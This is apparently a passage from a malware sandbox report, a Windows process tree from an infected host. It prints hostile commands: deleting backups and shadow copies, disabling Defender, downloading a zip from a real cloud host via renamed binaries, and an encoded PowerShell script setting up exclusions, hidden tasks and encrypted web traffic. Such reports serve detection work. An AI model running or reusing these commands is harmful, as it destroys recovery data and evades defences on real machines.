      4⤵
      Modifies Windows Firewall
      PID:8424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:9940
- - C:\Windows\system32\a\stlr.exe
    stlr.exe
    3⤵
    PID:6428
  - - C:\Windows\helpPane.exe
      "C:\Windows\helpPane.exe"
      4⤵
      PID:2236
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox
        5⤵
        
        PID:9508
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox
        5⤵
        
        PID:4940
- - C:\Windows\system32\a\file_73ed34a7752ecb3a.exe
    file_73ed34a7752ecb3a.exe
    3⤵
    PID:6500
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i vmware-setup.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:6532
- - C:\Windows\system32\a\mKM65Cf6QNqeOVw9.exe
    mKM65Cf6QNqeOVw9.exe
    3⤵
    PID:6720
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" delete "MicrosoftEdgeUpdateTaskMachine_3aa5"
      4⤵
      Launches sc.exe
      PID:7040
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:5188
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" start "MicrosoftEdgeUpdateTaskMachine_3aa5"
      4⤵
      Launches sc.exe
      PID:7528
- - C:\Windows\system32\a\ChromeSetupWindows.exe
    ChromeSetupWindows.exe
    3⤵
    PID:6748
- - C:\Windows\system32\a\xeno.V1.3.55.exe
    xeno.V1.3.55.exe
    3⤵
    PID:6808
  - - C:\Windows\system32\a\xeno.V1.3.55.exe
      xeno.V1.3.55.exe
      4⤵
      PID:1060
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:1648
    - - C:\Users\Admin\AppData\Local\Temp\tmpnvfrl7po\xena.exe
        
        C:\Users\Admin\AppData\Local\Temp\tmpnvfrl7po\xena.exe
        5⤵
        
        PID:9044
      - C:\Users\Admin\AppData\Local\Temp\bnd_dba6b560\RandomError.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bnd_dba6b560\RandomError.exe"
        6⤵
        
        PID:9592
        
        C:\Users\Admin\AppData\Local\Temp\bnd_dba6b560\RandomError.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bnd_dba6b560\RandomError.exe"
        7⤵
        
        PID:7088
      - C:\Users\Admin\AppData\Local\Temp\bnd_dba6b560\9s07g59jj323w77x.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bnd_dba6b560\9s07g59jj323w77x.exe"
        6⤵
        
        PID:9924
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i data.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:7000
- - C:\Windows\system32\a\discrete_69.7868.8_INSTALL.exe
    discrete_69.7868.8_INSTALL.exe
    3⤵
    PID:7140
- - C:\Windows\system32\a\main2.exe
    main2.exe
    3⤵
    PID:6568
  - - C:\Windows\system32\a\main2.exe
      main2.exe
      4⤵
      PID:6252
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:2812
- - C:\Windows\system32\a\xx.exe
    xx.exe
    3⤵
    PID:7104
- - C:\Windows\system32\a\file_3481d91a938ab342.exe
    file_3481d91a938ab342.exe
    3⤵
    PID:5428
- - C:\Windows\system32\a\2.exe
    2.exe
    3⤵
    PID:5740
- - C:\Windows\system32\a\file_b74843ad95bef0e9.exe
    file_b74843ad95bef0e9.exe
    3⤵
    PID:6584
  - - C:\Users\Admin\AppData\Local\Temp\sx0e58ec20.exe
      "C:\Users\Admin\AppData\Local\Temp\sx0e58ec20.exe"
      4⤵
      PID:4684
- - C:\Windows\system32\a\file_bec865d8acfd0630.exe
    file_bec865d8acfd0630.exe
    3⤵
    PID:6940
- - C:\Windows\system32\a\JavaChecker.exe
    JavaChecker.exe
    3⤵
    PID:6196
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=JavaChecker.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
      4⤵
      PID:7512
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2d8,0x2dc,0x2e0,0x2d4,0x360,0x7ffaf002c188,0x7ffaf002c194,0x7ffaf002c1a0
        5⤵
        
        PID:6484
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1820,i,8399522918088093112,12881308380448879694,524288 --field-trial-handle=1876,i,6592755130315908750,6144853858309037571,262144 --variations-seed-version --mojo-platform-channel-handle=2128 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:108
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1532,i,17622568880147198259,2983541365844544713,262144 --field-trial-handle=1876,i,6592755130315908750,6144853858309037571,262144 --variations-seed-version --mojo-platform-channel-handle=1872 /prefetch:2
        5⤵
        
        PID:8052
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2420,i,11786872647483186735,6702691784199734009,524288 --field-trial-handle=1876,i,6592755130315908750,6144853858309037571,262144 --variations-seed-version --mojo-platform-channel-handle=2944 /prefetch:13
        5⤵
        
        PID:3672
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3580,i,4048210575652316924,8346475411677310230,2097152 --field-trial-handle=1876,i,6592755130315908750,6144853858309037571,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:1
        5⤵
        
        PID:10300
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3584,i,8968120659889316785,9131489865634548559,2097152 --field-trial-handle=1876,i,6592755130315908750,6144853858309037571,262144 --variations-seed-version --mojo-platform-channel-handle=3660 /prefetch:1
        5⤵
        
        PID:10308
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=3968,i,4087681848940467821,13534681193078251435,2097152 --field-trial-handle=1876,i,6592755130315908750,6144853858309037571,262144 --variations-seed-version --mojo-platform-channel-handle=4200 /prefetch:1
        5⤵
        
        PID:10624
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=3984,i,3937515977281354999,5141422473799865826,2097152 --field-trial-handle=1876,i,6592755130315908750,6144853858309037571,262144 --variations-seed-version --mojo-platform-channel-handle=4252 /prefetch:9
        5⤵
        
        PID:10652
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4008,i,18091872281168842013,2740486312574755528,2097152 --field-trial-handle=1876,i,6592755130315908750,6144853858309037571,262144 --variations-seed-version --mojo-platform-channel-handle=4324 /prefetch:1
        5⤵
        
        PID:10660
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4016,i,4943423150722726836,5387983214144514821,2097152 --field-trial-handle=1876,i,6592755130315908750,6144853858309037571,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:9
        5⤵
        
        PID:10668
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=4172,i,12648166584566080650,8816216150940606704,2097152 --field-trial-handle=1876,i,6592755130315908750,6144853858309037571,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:1
        5⤵
        
        PID:10688
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5604,i,7424080998676518839,1278733274925158796,524288 --field-trial-handle=1876,i,6592755130315908750,6144853858309037571,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:14
        5⤵
        
        PID:11964
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5608,i,7924002027208827572,11737915209976556707,524288 --field-trial-handle=1876,i,6592755130315908750,6144853858309037571,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:14
        5⤵
        
        PID:11976
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5656,i,561265340729872842,14118945527988495372,524288 --field-trial-handle=1876,i,6592755130315908750,6144853858309037571,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:14
        5⤵
        
        PID:7656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=JavaChecker.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
      4⤵
      PID:7376
- - C:\Windows\system32\a\file_37b904483beaa60e.exe
    file_37b904483beaa60e.exe
    3⤵
    PID:6280
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"
      4⤵
      PID:5004
- - C:\Windows\system32\a\php.exe
    php.exe
    3⤵
    PID:7600
- - C:\Windows\system32\a\acr-g1upd-639159296668701809.exe
    acr-g1upd-639159296668701809.exe
    3⤵
    PID:7820
- - C:\Windows\system32\a\hilton.exe
    hilton.exe
    3⤵
    PID:7864
  - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Trails.a3x
      4⤵
      PID:8164
- - C:\Windows\system32\a\install.exe
    install.exe
    3⤵
    PID:8116
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe spx.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:3412
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\Sys57517\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys57517\tmp863.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip
      4⤵
      Executes a command shell one-liner
      PID:9260
    - - C:\Users\Public\Documents\Sys57517\msvcrt.dll
        
        C:\Users\Public\Documents\Sys57517\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys57517\tmp863.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip
        5⤵
        
        PID:6004
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\Sys57517\advapi32.dll /transfer t /download /priority normal https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip "C:\Users\Public\Documents\Sys57517\tmp863.zip"
      4⤵
      Executes a command shell one-liner
      PID:10724
    - - C:\Users\Public\Documents\Sys57517\advapi32.dll
        
        C:\Users\Public\Documents\Sys57517\advapi32.dll /transfer t /download /priority normal https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip "C:\Users\Public\Documents\Sys57517\tmp863.zip"
        5⤵
        
        PID:9504
- - C:\Windows\system32\a\finale.exe
    finale.exe
    3⤵
    PID:7080
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      PID:9908
- - C:\Windows\system32\a\file_b584670f7ec2f317.exe
    file_b584670f7ec2f317.exe
    3⤵
    PID:8248
- - C:\Windows\system32\a\file_a6357da6a05d7266.exe
    file_a6357da6a05d7266.exe
    3⤵
    PID:8284
- - C:\Windows\system32\a\21.exe
    21.exe
    3⤵
    PID:8472
- - C:\Windows\system32\a\file_c0d2eb6a8b73120b.exe
    file_c0d2eb6a8b73120b.exe
    3⤵
    PID:8864
- - C:\Windows\system32\a\CFXBypass.exe
    CFXBypass.exe
    3⤵
    PID:7620
- - C:\Windows\system32\a\kikikmoralibrary.exe
    kikikmoralibrary.exe
    3⤵
    PID:8204
- - C:\Windows\system32\a\Isass.exe
    Isass.exe
    3⤵
    PID:9056
  - - C:\Windows\system32\a\Isass.exe
      Isass.exe
      4⤵
      PID:9352
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:10244
- - C:\Windows\system32\a\Isass.exe
    Isass.exe
    3⤵
    PID:8460
  - - C:\Windows\system32\a\Isass.exe
      Isass.exe
      4⤵
      PID:9452
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:9084
- - C:\Windows\system32\a\vnc.exe
    vnc.exe
    3⤵
    PID:9584
- - C:\Windows\system32\a\4J8576A0E8V3.exe
    4J8576A0E8V3.exe
    3⤵
    PID:9980
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe"
      4⤵
      PID:8324
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
        5⤵
        
        PID:8672
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALg